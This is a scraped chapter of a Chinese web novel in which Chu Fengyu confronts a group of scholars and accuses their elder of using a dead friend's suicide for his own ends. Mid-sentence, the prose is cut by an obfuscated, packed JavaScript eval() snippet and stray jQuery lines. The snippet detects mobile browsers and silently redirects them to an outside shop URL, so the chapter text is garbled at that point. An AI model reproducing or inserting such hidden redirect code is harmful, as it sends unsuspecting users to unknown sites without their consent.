默认冷灰
24号文字
方正启体

29. 尸身为阶

作者:月折夕本书字数:K更新时间:
    叶月兮在黑暗中静静地望着他。


    她虽然看不清他的神情,但自他语气中能感受出真诚来。


    楚风玉并未回避珲都的险恶,也没有粉饰自己现下的处境。


    几乎坦诚地将自己展现在叶月兮面前。


    但这坦诚,却是比任何誓言和承诺都更有分量。


    叶月兮道:“在山上的时候,我便已经告诉过你,既然插手了这件事,我便不会这般轻易地离开。”


    烛火骤然晃动一下,光亮在叶月兮面上明灭不定。


    楚风玉却看见了叶月兮眼中的那份坚韧,甚至还有一丝不易察觉的执拗。


    黑夜里,他有些疲倦地靠着墙,整日的疲惫仿若都因叶月兮这话消失殆尽。


    于楚风玉而言,叶月兮这番话倒更像是一句承诺。一句不会轻易离开自己的承诺。


    “嗯。”楚风玉轻声应了。


    紧绷的情绪在长久的寂静中,终究是被更深沉的疲惫拉扯着,缓缓松弛下来。


    楚风玉听着叶月兮绵长的呼吸声,也放松了下来,却并未闭眼,他的视线落在叶月兮模糊的轮廓上,带着一种连自己都未曾完全明了的复杂情绪。


    万籁俱寂,连远处的犬吠都停歇下来,夜里只有屋外风吹时的呜咽声,以及远处,江水恒久不变的流淌声。


    楚风玉不知过去了多久,只能看着那凳上的油灯火苗越来越小,光线愈发暗淡,最终,在灯油燃尽时,“噗”地一声轻响,彻底熄灭。


    远处,樊州城苏醒的声响陆续传来。不是市井的喧嚣,而是更加平静的、来自生活本身的声音。


    某处院门开启的吱呀声,水桶落入井中的闷响声,邻里照面的招呼声。这些声音被距离和墙壁隔绝了一些,变得模糊而温和,反而衬得这小院愈发寂静。


    晨光渐渐充盈,缓慢地攀上窗棂,照射入屋内,驱散了夜间来的寒凉。那盏油灯还留有余温,灯芯蜷缩成一小截焦黑的残骸,静静地躺在那。


    屋外前院的声响断断续续响起,楚风玉并未吵醒叶月兮,他缓慢地动着有些僵硬的四肢,而后轻手轻脚地出了屋。


    屋外,侍卫已然将昨日碰面之人的信息尽数交给了楚风玉,楚风玉接下略看了两眼,“你们在这儿守着,等叶姑娘醒来。我去前厅看看。”


    楚风玉吩咐完便朝着前厅而去。


    他方才跨出院门,未至前厅,便听到一个饱含怒意的声音:“为何要退缩?吕兄用鲜血所换来的机会,何故要平白放弃!”是陆修远的声音。


    “可是陆兄,我们连状纸都递不上去,到了珲都又能如何?只怕连那宫门都还未见到,就……”


    “那就死在宫门前。”陆修远打断他,语气中带着一种近乎决绝的平静,“吕兄以颈血铺路,我们便以尸身为阶。一个不够,便十个;十个不够,便百个。我倒要看看,这平阳的朝堂,究竟装得下多少冤魂!”


    屋内一片寂静。


    楚风玉没急着进去,反而是在屋外等了一会儿,等到屋内叹息声频繁,他方才状似无意地走了进去。


    “诸位早。”


    他神情自若,却是看见陆修远慌乱了一瞬,也不知自己的话究竟被楚风玉听去多少。


    “诸位可真是勤勉啊,这么早便起来读书了。”楚风玉拉过一把椅子,在角落坐下,“不知我可否有幸在旁聆听。”


    他虽是问询着,但动作却不容有疑。


    端坐于主位上的孟秀才,狭长的眼睛一眯,带着些审视的态度看向楚风玉。


    这个昨日还因为夫人劳累受伤对他们暖声细语的人,今日倒像是换了个人,周身气场有些骇人。


    其中年纪最小的,也便是昨日为他们开门的那个少年,名为程渊。


    程渊左右看看这氛围,察觉不对,便出来缓解:“公子,这个……我们如今未在论学,而是在商讨一些要事,您在这儿恐有不便。”


    程渊和楚风玉年纪不相上下,但如今这话说出来,却是没多少震慑力。


    楚风玉的手搭在椅子扶手上,有些懒散地以手支颌。一夜未眠,他精气神算不上多好,那双桃花眼有些倦。


    听到程渊的话,他却是置若罔闻,视线一直定在孟秀才身上。


    孟秀才此时也能察觉出楚风玉的身份并不简单,他按住了旁边想要暴怒而起的卓翰池,轻而缓地摇了摇头。


    最终还是陆修远出的面。


    他面上带着笑,声音里早已无了方才那想要撞死宫门之上的激昂,换上了一幅读书人的儒雅模样,“公子,昨日我等留你,已然仁至义尽,今日这一出,公子唱的又是何戏?”


    楚风玉的视线总算从孟秀才身上移开,转投至陆修远的脸上。


    他道:“正是因着昨日的恩情,如今这不是来报恩了嘛。”


    “报恩?”陆修远打量着楚风玉的神情,妄图从他的神情中探出一丝有用的东西来,可惜无果,“我竟不知,报恩是这样的方式。”


    楚风玉打了个哈欠,揉了揉有些胀痛的太阳穴,却是说出了陆修远最怕的事情:“撞死宫门可不是一个好主意。当今皇帝极重视颜面,你横死宫门口,只会令他徒生晦气,祸及家人。”


    卓翰池似乎再也无法忍受楚风玉这等狂妄姿态,他拍桌而起,伸出手怒指楚风玉:“你这贼子!先是编织谎话欺瞒我等,现下还不知廉耻地偷听墙角,实乃小人做派!”


    而这位小人被骂了却也不恼,他平静地站起身来,缓步朝着桌子走去。


    陆修远本就站着,看着楚风玉这般逼近,他伸出手来,将身后的人护了起来。


    还未等他放出什么豪言壮志来,便被楚风玉抬手推向一旁。


    楚风玉并未作出什么过多的举动来,他霸占了陆修远的位置,端起桌上那壶茶水,为自己挑了一个干净的杯子,倒了一杯茶水。


    茶水入口,却是楚风玉意料之外的冰凉。他仅抿了一口便搁了下来,在众人怒视的目光中还淡然地开口:“大早上便喝凉茶,这可对身子不好。”


    孟秀才不知何故,总觉得看着楚风玉这幅神情姿态,好像是冲着自己来的一般。


    楚风玉环顾了一圈,问道:“想要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085539|193525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    入珲都告御状的,就只有你们四人吗?”他的手指指向孟秀才,“他不去吗?”


    陆修远转过身来看着楚风玉,声音有些发沉:“孟先生年力渐衰,已然不适远行,自然不去。”


    楚风玉看着那孟秀才。


    他方到不惑之年,耳鬓两侧已然有了斑白的迹象。


    楚风玉想起了今早手下递上来的密报。


    孟秀才,名孟东春,十岁时得童生之名,十四岁便已摘得秀才之荣,曾是这十里八乡中盛名的天才。


    然而他在秀才之位上,一待便是二十多年。期间他参加过六次乡试,却次次名落孙山。


    楚风玉很难不怀疑他有些别的目的。


    吕文博不过弱冠出头的年纪,已然是举人。而在座的这些人里,除了年纪尚小的程渊,其他三人早已够上了举人的门槛,不过临门一脚。


    唯独他孟秀才,这辈子只能是个秀才。


    楚风玉将杯中那凉茶复而端起,横倒下去,茶水落地又溅起,在这寂静的堂屋内却是格外响亮。


    “嗒——!”楚风玉将杯子重重放回桌面上,这一声响撕破了长久的寂静。


    楚风玉眯了眯眼,身子前倾,语气中带着威逼:“孟秀才,你就这般踏着我吕兄的血,行你自己的苟且之事,就不怕午夜梦回之际,我吕兄前来向你索命吗?”


    孟秀才的神情一顿,眼神忽而有些飘闪,却还是在楚风玉的注视下恢复了平静。他抬眼对上了楚风玉的眼,声音中是从未有过的沉着:“公子这话何意?吕文博乃是在状元桥自戕而亡,与我何干,怎会来找我索命呢?”


    “是吗?”楚风玉状似思考了一番,续道:“那你踏着他的尸身,行自己的方便,这般折辱,不该找你索命吗?”


    “你胡诌些什么?!”卓翰池听着楚风玉的话,怒不可遏,他上前推搡了一把楚风玉。


    坐在他身侧的段归鸿伸手拉住卓翰池,却依旧晚了一步,楚风玉朝后仰去。


    这桌子旁的,可不是楚风玉坐的那椅子有一个靠背能保下他。他如今坐的,只是一个圆凳,身后并无遮拦。就在楚风玉要伸出手抓住桌子的时候,背上却传来一阵力道,稳稳当当地扶住了他的身子。


    “说话就说话,动手可不好。”叶月兮的声音在背后响起,带着辰早的寒凉。


    见人坐稳了,叶月兮这才收回手来。她未多说什么,只是安静地坐在楚风玉原本坐着的那椅子上,不再掺和。


    楚风玉回头看了一眼叶月兮,隔着那帷帽的绸幔,看不清她的面容,但楚风玉却觉得,她此刻在这儿,便足够了。


    既然叶月兮醒了,他也不愿再同这帮文弱书生周旋,他站起身子来,指着对面端坐的孟秀才,厉声道:“他引诱你们以吕文博之死为由,拿着那血书不停地去衙门状告,县里不成便府里,府里不成,那便以你们的血为帖,上告御状!”


    楚风玉将手一收,转而在陆修远面前打了个响指,笑道:“最后便如你所愿,一个个扑死在那宫门口。但你低估了,平阳朝堂能装下的冤魂,比你想得,多多了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)